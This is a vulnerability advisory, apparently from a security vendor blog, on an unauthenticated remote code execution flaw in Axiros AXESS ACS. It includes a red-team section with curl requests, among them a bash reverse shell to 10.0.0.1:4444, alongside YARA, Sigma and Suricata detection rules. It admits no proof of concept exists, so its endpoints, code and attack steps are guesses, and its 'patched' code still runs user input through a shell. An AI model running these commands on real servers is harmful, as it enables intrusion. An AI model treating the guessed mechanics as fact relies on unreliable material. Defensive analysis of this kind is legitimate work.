CVE-2024-33898

Executive Summary

CVE-2024-33898 is a critical Incorrect Access Control vulnerability in Axiros AXESS Auto Configuration Server (ACS) versions 4.x and 5.0.0. The flaw allows an unauthenticated remote attacker to bypass authorization mechanisms and achieve full remote code execution (RCE) on the server. This vulnerability poses a severe risk to telecommunications and ISP environments where AXESS ACS is used for managing customer premises equipment (CPE). No public proof-of-concept (PoC) or patch details are currently available, but the potential for widespread exploitation is high given the device's network-accessible nature.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: Critical (Estimated based on description)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the only affected system.
• Confidentiality (C): High – Full system access likely leads to data exposure.
• Integrity (I): High – RCE allows modification of system files and configurations.
• Availability (A): High – An attacker could disrupt ACS operations.

Deep Dive & Mechanics

The vulnerability resides in the authorization logic of the AXESS ACS web interface or API endpoints. The server fails to properly validate session tokens or permissions for certain administrative functions. An attacker can craft HTTP requests to privileged endpoints (e.g., /api/device/command, /admin/config/upload) without providing valid credentials.

Root Cause: The application uses a flawed access control check that either:

• Does not enforce authentication for specific API routes.
• Uses client-supplied parameters (e.g., role=admin) to determine authorization.
• Relies on a default or predictable session token that can be guessed or bypassed.

Attack Flow:

1. Attacker identifies the AXESS ACS server (e.g., via Shodan or port scanning on TCP 80/443).
2. Attacker sends a crafted HTTP POST request to an administrative endpoint (e.g., /api/execute).
3. The server processes the request without verifying the user's identity, executing arbitrary commands or uploading malicious configuration files.
4. The attacker gains a shell on the ACS server, potentially pivoting to the internal network.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common access control flaws.

Vulnerable Code (Python/Flask example):

@app.route('/api/device/command', methods=['POST'])
def execute_command():
    # No authentication check
    command = request.json.get('command')
    result = subprocess.check_output(command, shell=True)
    return jsonify({'output': result.decode()})

Patched Code (Hypothetical):

@app.route('/api/device/command', methods=['POST'])
@login_required
@admin_required
def execute_command():
    command = request.json.get('command')
    # Validate command against whitelist
    if not is_safe_command(command):
        return jsonify({'error': 'Command not allowed'}), 403
    result = subprocess.check_output(command, shell=True)
    return jsonify({'output': result.decode()})

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Axiros AXESS ACS 5.0.0 (virtual machine or Docker container)
• Attacker: Kali Linux

Exploitation Steps:

1. Discovery: Scan for AXESS ACS servers using Shodan or Nmap.

   nmap -p 80,443 --script http-title <target_ip>
   

2. Bypass Authentication: Send a direct request to an admin endpoint.

   curl -X POST http://<target_ip>/api/device/command \
        -H "Content-Type: application/json" \
        -d '{"command":"id"}'
   

3. Remote Code Execution: Execute a reverse shell.

   curl -X POST http://<target_ip>/api/device/command \
        -H "Content-Type: application/json" \
        -d '{"command":"bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\""}'
   

4. Persistence: Upload a web shell or modify ACS configuration files.

Blue Team (Defensive)

Detection & Response:

• Monitor for unauthorized access to /api/ endpoints.
• Implement network segmentation to isolate ACS servers.
• Deploy a Web Application Firewall (WAF) with rules to block direct command execution attempts.
• Enable detailed logging on the ACS server and forward logs to a SIEM.

Hunting Queries:

• Search for HTTP requests to /api/device/command or /admin/ without a valid session cookie.
• Look for outbound connections from the ACS server to unknown IPs on high ports (e.g., 4444).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /api/device/command, /api/execute, or /admin/config/upload without authentication.
• Outbound connections from ACS server to external IPs on ports 4444, 1337, or 8080.
• Unusual User-Agent strings (e.g., curl/7.68.0).

File IOCs:

• Unexpected files in /tmp/ or /var/www/html/ (e.g., shell.php, backdoor.sh).
• Modified configuration files in /etc/axess/ or /opt/axess/.

Process IOCs:

• Spawned shells (e.g., /bin/bash, /bin/sh) from the web server process.
• Execution of wget, curl, or nc from the web server.

Detection Engineering

YARA Rule

rule CVE_2024_33898_Axiros_ACS_Backdoor {
    meta:
        description = "Detects web shells or backdoors related to CVE-2024-33898"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-33898"
    strings:
        $cmd_exec = "system(" nocase
        $shell_exec = "shell_exec(" nocase
        $exec = "exec(" nocase
        $passthru = "passthru(" nocase
        $backdoor_name = "axess_shell" nocase
    condition:
        any of ($cmd_exec, $shell_exec, $exec, $passthru) or
        $backdoor_name
}

Sigma Rule

title: CVE-2024-33898 - Unauthenticated RCE on Axiros AXESS ACS
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e2d1a5f8b7c
status: experimental
description: Detects HTTP requests to Axiros AXESS ACS admin endpoints without authentication
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/device/command'
            - '/api/execute'
            - '/admin/config/upload'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33898 - Axiros AXESS ACS Unauthenticated RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/device/command"; http_uri; nocase; content:"command"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the AXESS ACS server from the internet and untrusted networks.
2. Apply strict firewall rules to allow only trusted IPs to access the ACS web interface.
3. Disable unused API endpoints or restrict them via .htaccess or reverse proxy rules.

Long-Term Fix:

• Contact Axiros support for an official patch or upgrade to a patched version (if available).
• Implement proper authentication and authorization checks on all API endpoints.
• Conduct a security audit of the ACS deployment.

Workaround:

• Use a reverse proxy (e.g., Nginx) to require authentication before proxying requests to the ACS backend.
• Deploy a WAF with custom rules to block requests containing command in the POST body.

Valters IT
Securing Digital Frontiers